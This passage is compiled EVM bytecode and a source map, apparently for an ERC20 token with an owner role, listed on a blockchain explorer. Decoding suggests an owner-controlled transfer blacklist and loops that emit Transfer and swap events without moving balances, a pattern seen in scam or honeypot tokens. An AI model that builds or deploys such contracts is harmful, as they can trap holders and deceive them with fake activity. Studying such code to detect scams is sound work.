ffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590612011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c4906120a3565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118e4565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112279061210f565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906121a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612233565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906122c5565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a79061230b565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118e4565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612377565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b8381111561174f576000848401525b50505050565b6000601f19601f8301169050919050565b600061177182611706565b61177b8185611711565b935061178b818560208601611722565b61179481611755565b840191505092915050565b600060208201905081810360008301526117b98184611766565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117f6826117cb565b9050919050565b611806816117eb565b811461181157600080fd5b50565b600081359050611823816117fd565b92915050565b6000819050919050565b61183c81611829565b811461184757600080fd5b50565b60008135905061185981611833565b92915050565b60008060408385031215611876576118756117c1565b5b600061188485828601611814565b92505060206118958582860161184a565b9150509250929050565b60008115159050919050565b6118b48161189f565b82525050565b60006020820190506118cf60008301846118ab565b92915050565b6118de81611829565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080600060608486031215611918576119176117c1565b5b600061192686828701611814565b935050602061193786828701611814565b92505060406119488682870161184a565b9150509250925092565b600060ff82169050919050565b61196881611952565b82525050565b6000602082019050611983600083018461195f565b92915050565b60006020828403121561199f5761199e6117c1565b5b60006119ad84828501611814565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119db576119da6119b6565b5b8235905067ffffffffffffffff8111156119f8576119f76119bb565b5b602083019150836020820283011115611a1457611a136119c0565b5b9250929050565b60008083601f840112611a3157611a306119b6565b5b8235905067ffffffffffffffff811115611a4e57611a4d6119bb565b5b602083019150836020820283011115611a6a57611a696119c0565b5b9250929050565b60008060008060008060608789031215611a8e57611a8d6117c1565b5b600087013567ffffffffffffffff811115611aac57611aab6117c6565b5b611ab889828a016119c5565b9650965050602087013567ffffffffffffffff811115611adb57611ada6117c6565b5b611ae789828a016119c5565b9450945050604087013567ffffffffffffffff811115611b0a57611b096117c6565b5b611b1689828a01611a1b565b92509250509295509295509295565b60008060208385031215611b3c57611b3b6117c1565b5b600083013567ffffffffffffffff811115611b5a57611b596117c6565b5b611b66858286016119c5565b92509250509250929050565b60008060008060608587031215611b8c57611b8b6117c1565b5b600085013567ffffffffffffffff811115611baa57611ba96117c6565b5b611bb6878288016119c5565b94509450506020611bc98782880161184a565b9250506040611bda8782880161184a565b91505092959194509250565b611bef816117eb565b82525050565b6000602082019050611c0a6000830184611be6565b92915050565b60008060408385031215611c2757611c266117c1565b5b6000611c3585828601611814565b9250506020611c4685828601611814565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9757607f821691505b602082108103611caa57611ca9611c50565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cea82611829565b9150611cf583611829565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d2a57611d29611cb0565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d6f82611829565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da157611da0611cb0565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611ddb611dd6611dd184611dac565b611db6565b611829565b9050919050565b611deb81611dc0565b82525050565b6000608082019050611e066000830187611de2565b611e1360208301866118d5565b611e2060408301856118d5565b611e2d6060830184611de2565b95945050505050565b6000608082019050611e4b60008301876118d5565b611e586020830186611de2565b611e656040830185611de2565b611e7260608301846118d5565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ed7602583611711565b9150611ee282611e7b565b604082019050919050565b60006020820190508181036000830152611f0681611eca565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f69602683611711565b9150611f7482611f0d565b604082019050919050565b60006020820190508181036000830152611f9881611f5c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ffb602483611711565b915061200682611f9f565b604082019050919050565b6000602082019050818103600083015261202a81611fee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061208d602283611711565b915061209882612031565b604082019050919050565b600060208201905081810360008301526120bc81612080565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120f9601d83611711565b9150612104826120c3565b602082019050919050565b60006020820190508181036000830152612128816120ec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061218b602583611711565b91506121968261212f565b604082019050919050565b600060208201905081810360008301526121ba8161217e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061221d602383611711565b9150612228826121c1565b604082019050919050565b6000602082019050818103600083015261224c81612210565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122af602683611711565b91506122ba82612253565b604082019050919050565b600060208201905081810360008301526122de816122a2565b9050919050565b50565b60006122f5600083611711565b9150612300826122e5565b600082019050919050565b60006020820190508181036000830152612324816122e8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612361602083611711565b915061236c8261232b565b602082019050919050565b6000602082019050818103600083015261239081612354565b905091905056fea2646970667358221220dff26611b9d4019bdc6407ed4c98d9053d5c20ca55c8a14fdb919659e4cbedc264736f6c634300080d0033

Deployed Bytecode Sourcemap

36885:163:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9307:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11656:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10425:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12437:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10269:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22611:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13141:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21399:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10596:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21653:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6407:103;;;:::i;:::-;;20902:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22193:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5766:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9526:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21894:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13882:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10929:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21526:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22493:110;;;:::i;:::-;;11185:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21185:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6665:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9307:100;9361:13;9394:5;9387:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9307:100;:::o;11656:201::-;11739:4;11756:13;11772:12;:10;:12::i;:::-;11756:28;;11795:32;11804:5;11811:7;11820:6;11795:8;:32::i;:::-;11845:4;11838:11;;;11656:201;;;;:::o;10425:108::-;10486:7;10513:12;;10506:19;;10425:108;:::o;12437:295::-;12568:4;12585:15;12603:12;:10;:12::i;:::-;12585:30;;12626:38;12642:4;12648:7;12657:6;12626:15;:38::i;:::-;12675:27;12685:4;12691:2;12695:6;12675:9;:27::i;:::-;12720:4;12713:11;;;12437:295;;;;;:::o;10269:93::-;10327:5;10352:2;10345:9;;10269:93;:::o;22611:97::-;5652:13;:11;:13::i;:::-;22693:7:::1;22685:5;;:15;;;;;;;;;;;;;;;;;;22611:97:::0;:::o;13141:238::-;13229:4;13246:13;13262:12;:10;:12::i;:::-;13246:28;;13285:64;13294:5;13301:7;13338:10;13310:25;13320:5;13327:7;13310:9;:25::i;:::-;:38;;;;:::i;:::-;13285:8;:64::i;:::-;13367:4;13360:11;;;13141:238;;;;:::o;21399:119::-;21463:4;21487:12;:23;21500:9;21487:23;;;;;;;;;;;;;;;;;;;;;;;;;21480:30;;21399:119;;;:::o;10596:127::-;10670:7;10697:9;:18;10707:7;10697:18;;;;;;;;;;;;;;;;10690:25;;10596:127;;;:::o;21653:233::-;21774:9;21769:110;21793:5;;:12;;21789:1;:16;21769:110;;;21851:3;;21855:1;21851:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21832:35;;21841:5;;21847:1;21841:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21832:35;;;21859:4;;21864:1;21859:7;;;;;;;:::i;:::-;;;;;;;;21832:35;;;;;;:::i;:::-;;;;;;;;21807:3;;;;;:::i;:::-;;;;21769:110;;;;21653:233;;;;;;:::o;6407:103::-;5652:13;:11;:13::i;:::-;6472:30:::1;6499:1;6472:18;:30::i;:::-;6407:103::o:0;20902:275::-;5652:13;:11;:13::i;:::-;20987:9:::1;20982:188;21006:11;;:18;;21002:1;:22;20982:188;;;21077:4;21046:12;:28;21059:11;;21071:1;21059:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21046:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;21126:4;;;;;;;;;;;21101:57;;21110:11;;21122:1;21110:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21101:57;;;21132:25;21142:11;;21154:1;21142:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21132:9;:25::i;:::-;21101:57;;;;;;:::i;:::-;;;;;;;;21026:3;;;;;:::i;:::-;;;;20982:188;;;;20902:275:::0;;:::o;22193:292::-;22297:9;22292:186;22316:11;;:18;;22312:1;:22;22292:186;;;22395:11;;22407:1;22395:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22361:49;;22366:10;;;;;;;;;;;22361:49;;;22378:1;22381:3;22386:4;22392:1;22361:49;;;;;;;;;:::i;:::-;;;;;;;;22455:5;;;;;;;;;;;22430:36;;22439:11;;22451:1;22439:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22430:36;;;22462:3;22430:36;;;;;;:::i;:::-;;;;;;;;22336:3;;;;;:::i;:::-;;;;22292:186;;;;22193:292;;;;:::o;5766:87::-;5812:7;5839:6;;;;;;;;;;;5832:13;;5766:87;:::o;9526:104::-;9582:13;9615:7;9608:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9526:104;:::o;21894:291::-;21996:9;21991:187;22015:11;;:18;;22011:1;:22;21991:187;;;22094:11;;22106:1;22094:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22060:49;;22065:10;;;;;;;;;;;22060:49;;;22077:3;22082:1;22085;22088:4;22060:49;;;;;;;;;:::i;:::-;;;;;;;;22145:11;;22157:1;22145:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22129:37;;22138:5;;;;;;;;;;;22129:37;;;22161:4;22129:37;;;;;;:::i;:::-;;;;;;;;22035:3;;;;;:::i;:::-;;;;21991:187;;;;21894:291;;;;:::o;13882:436::-;13975:4;13992:13;14008:12;:10;:12::i;:::-;13992:28;;14031:24;14058:25;14068:5;14075:7;14058:9;:25::i;:::-;14031:52;;14122:15;14102:16;:35;;14094:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;14215:60;14224:5;14231:7;14259:15;14240:16;:34;14215:8;:60::i;:::-;14306:4;14299:11;;;;13882:436;;;;:::o;10929:193::-;11008:4;11025:13;11041:12;:10;:12::i;:::-;11025:28;;11064;11074:5;11081:2;11085:6;11064:9;:28::i;:::-;11110:4;11103:11;;;10929:193;;;;:::o;21526:119::-;21627:3;21611:26;;21620:5;21611:26;;;21632:4;21611:26;;;;;;:::i;:::-;;;;;;;;21526:119;;;:::o;22493:110::-;5652:13;:11;:13::i;:::-;22552:10:::1;22544:28;;:51;22573:21;22544:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22493:110::o:0;11185:151::-;11274:7;11301:11;:18;11313:5;11301:18;;;;;;;;;;;;;;;:27;11320:7;11301:27;;;;;;;;;;;;;;;;11294:34;;11185:151;;;;:::o;21185:206::-;5652:13;:11;:13::i;:::-;21277:9:::1;21272:112;21296:11;;:18;;21292:1;:22;21272:112;;;21367:5;21336:12;:28;21349:11;;21361:1;21349:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21336:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21316:3;;;;;:::i;:::-;;;;21272:112;;;;21185:206:::0;;:::o;6665:201::-;5652:13;:11;:13::i;:::-;6774:1:::1;6754:22;;:8;:22;;::::0;6746:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6830:28;6849:8;6830:18;:28::i;:::-;6665:201:::0;:::o;4475:98::-;4528:7;4555:10;4548:17;;4475:98;:::o;18004:380::-;18157:1;18140:19;;:5;:19;;;18132:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18238:1;18219:21;;:7;:21;;;18211:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18322:6;18292:11;:18;18304:5;18292:18;;;;;;;;;;;;;;;:27;18311:7;18292:27;;;;;;;;;;;;;;;:36;;;;18360:7;18344:32;;18353:5;18344:32;;;18369:6;18344:32;;;;;;:::i;:::-;;;;;;;;18004:380;;;:::o;18675:453::-;18810:24;18837:25;18847:5;18854:7;18837:9;:25::i;:::-;18810:52;;18897:17;18877:16;:37;18873:248;;18959:6;18939:16;:26;;18931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19043:51;19052:5;19059:7;19087:6;19068:16;:25;19043:8;:51::i;:::-;18873:248;18799:329;18675:453;;;:::o;14788:935::-;14935:1;14919:18;;:4;:18;;;14911:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15012:1;14998:16;;:2;:16;;;14990:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15067:38;15088:4;15094:2;15098:6;15067:20;:38::i;:::-;15118:19;15140:9;:15;15150:4;15140:15;;;;;;;;;;;;;;;;15118:37;;15189:6;15174:11;:21;;15166:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15253:12;:18;15266:4;15253:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;15275:12;:16;15288:2;15275:16;;;;;;;;;;;;;;;;;;;;;;;;;15253:38;15249:84;;;15324:4;15301:27;;:19;;;;;;;;;;;:27;;;15293:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;15249:84;15401:6;15387:11;:20;15369:9;:15;15379:4;15369:15;;;;;;;;;;;;;;;:38;;;;15604:6;15587:9;:13;15597:2;15587:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15654:2;15639:26;;15648:4;15639:26;;;15658:6;15639:26;;;;;;:::i;:::-;;;;;;;;15678:37;15698:4;15704:2;15708:6;15678:19;:37::i;:::-;14900:823;14788:935;;;:::o;5931:132::-;6006:12;:10;:12::i;:::-;5995:23;;:7;:5;:7::i;:::-;:23;;;5987:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5931:132::o;7026:191::-;7100:16;7119:6;;;;;;;;;;;7100:25;;7145:8;7136:6;;:17;;;;;;;;;;;;;;;;;;7200:8;7169:40;;7190:8;7169:40;;;;;;;;;;;;7089:128;7026:191;:::o;20460:125::-;;;;:::o;19732:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:117::-;5345:1;5342;5335:12;5359:117;5468:1;5465;5458:12;5482:117;5591:1;5588;5581:12;5622:568;5695:8;5705:6;5755:3;5748:4;5740:6;5736:17;5732:27;5722:122;;5763:79;;:::i;:::-;5722:122;5876:6;5863:20;5853:30;;5906:18;5898:6;5895:30;5892:117;;;5928:79;;:::i;:::-;5892:117;6042:4;6034:6;6030:17;6018:29;;6096:3;6088:4;6080:6;6076:17;6066:8;6062:32;6059:41;6056:128;;;6103:79;;:::i;:::-;6056:128;5622:568;;;;;:::o;6213:::-;6286:8;6296:6;6346:3;6339:4;6331:6;6327:17;6323:27;6313:122;;6354:79;;:::i;:::-;6313:122;6467:6;6454:20;6444:30;;6497:18;6489:6;6486:30;6483:117;;;6519:79;;:::i;:::-;6483:117;6633:4;6625:6;6621:17;6609:29;;6687:3;6679:4;6671:6;6667:17;6657:8;6653:32;6650:41;6647:128;;;6694:79;;:::i;:::-;6647:128;6213:568;;;;;:::o;6787:1309::-;6945:6;6953;6961;6969;6977;6985;7034:2;7022:9;7013:7;7009:23;7005:32;7002:119;;;7040:79;;:::i;:::-;7002:119;7188:1;7177:9;7173:17;7160:31;7218:18;7210:6;7207:30;7204:117;;;7240:79;;:::i;:::-;7204:117;7353:80;7425:7;7416:6;7405:9;7401:22;7353:80;:::i;:::-;7335:98;;;;7131:312;7510:2;7499:9;7495:18;7482:32;7541:18;7533:6;7530:30;7527:117;;;7563:79;;:::i;:::-;7527:117;7676:80;7748:7;7739:6;7728:9;7724:22;7676:80;:::i;:::-;7658:98;;;;7453:313;7833:2;7822:9;7818:18;7805:32;7864:18;7856:6;7853:30;7850:117;;;7886:79;;:::i;:::-;7850:117;7999:80;8071:7;8062:6;8051:9;8047:22;7999:80;:::i;:::-;7981:98;;;;7776:313;6787:1309;;;;;;;;:::o;8102:559::-;8188:6;8196;8245:2;8233:9;8224:7;8220:23;8216:32;8213:119;;;8251:79;;:::i;:::-;8213:119;8399:1;8388:9;8384:17;8371:31;8429:18;8421:6;8418:30;8415:117;;;8451:79;;:::i;:::-;8415:117;8564:80;8636:7;8627:6;8616:9;8612:22;8564:80;:::i;:::-;8546:98;;;;8342:312;8102:559;;;;;:::o;8667:849::-;8771:6;8779;8787;8795;8844:2;8832:9;8823:7;8819:23;8815:32;8812:119;;;8850:79;;:::i;:::-;8812:119;8998:1;8987:9;8983:17;8970:31;9028:18;9020:6;9017:30;9014:117;;;9050:79;;:::i;:::-;9014:117;9163:80;9235:7;9226:6;9215:9;9211:22;9163:80;:::i;:::-;9145:98;;;;8941:312;9292:2;9318:53;9363:7;9354:6;9343:9;9339:22;9318:53;:::i;:::-;9308:63;;9263:118;9420:2;9446:53;9491:7;9482:6;9471:9;9467:22;9446:53;:::i;:::-;9436:63;;9391:118;8667:849;;;;;;;:::o;9522:118::-;9609:24;9627:5;9609:24;:::i;:::-;9604:3;9597:37;9522:118;;:::o;9646:222::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9790:71;9858:1;9847:9;9843:17;9834:6;9790:71;:::i;:::-;9646:222;;;;:::o;9874:474::-;9942:6;9950;9999:2;9987:9;9978:7;9974:23;9970:32;9967:119;;;10005:79;;:::i;:::-;9967:119;10125:1;10150:53;10195:7;10186:6;10175:9;10171:22;10150:53;:::i;:::-;10140:63;;10096:117;10252:2;10278:53;10323:7;10314:6;10303:9;10299:22;10278:53;:::i;:::-;10268:63;;10223:118;9874:474;;;;;:::o;10354:180::-;10402:77;10399:1;10392:88;10499:4;10496:1;10489:15;10523:4;10520:1;10513:15;10540:320;10584:6;10621:1;10615:4;10611:12;10601:22;;10668:1;10662:4;10658:12;10689:18;10679:81;;10745:4;10737:6;10733:17;10723:27;;10679:81;10807:2;10799:6;10796:14;10776:18;10773:38;10770:84;;10826:18;;:::i;:::-;10770:84;10591:269;10540:320;;;:::o;10866:180::-;10914:77;10911:1;10904:88;11011:4;11008:1;11001:15;11035:4;11032:1;11025:15;11052:305;11092:3;11111:20;11129:1;11111:20;:::i;:::-;11106:25;;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11299:1;11231:66;11227:74;11224:1;11221:81;11218:107;;;11305:18;;:::i;:::-;11218:107;11349:1;11346;11342:9;11335:16;;11052:305;;;;:::o;11363:180::-;11411:77;11408:1;11401:88;11508:4;11505:1;11498:15;11532:4;11529:1;11522:15;11549:233;11588:3;11611:24;11629:5;11611:24;:::i;:::-;11602:33;;11657:66;11650:5;11647:77;11644:103;;11727:18;;:::i;:::-;11644:103;11774:1;11767:5;11763:13;11756:20;;11549:233;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:60::-;11907:3;11928:5;11921:12;;11879:60;;;:::o;11945:158::-;12003:9;12036:61;12054:42;12063:32;12089:5;12063:32;:::i;:::-;12054:42;:::i;:::-;12036:61;:::i;:::-;12023:74;;11945:158;;;:::o;12109:147::-;12204:45;12243:5;12204:45;:::i;:::-;12199:3;12192:58;12109:147;;:::o;12262:585::-;12455:4;12493:3;12482:9;12478:19;12470:27;;12507:79;12583:1;12572:9;12568:17;12559:6;12507:79;:::i;:::-;12596:72;12664:2;12653:9;12649:18;12640:6;12596:72;:::i;:::-;12678;12746:2;12735:9;12731:18;12722:6;12678:72;:::i;:::-;12760:80;12836:2;12825:9;12821:18;12812:6;12760:80;:::i;:::-;12262:585;;;;;;;:::o;12853:::-;13046:4;13084:3;13073:9;13069:19;13061:27;;13098:71;13166:1;13155:9;13151:17;13142:6;13098:71;:::i;:::-;13179:80;13255:2;13244:9;13240:18;13231:6;13179:80;:::i;:::-;13269;13345:2;13334:9;13330:18;13321:6;13269:80;:::i;:::-;13359:72;13427:2;13416:9;13412:18;13403:6;13359:72;:::i;:::-;12853:585;;;;;;;::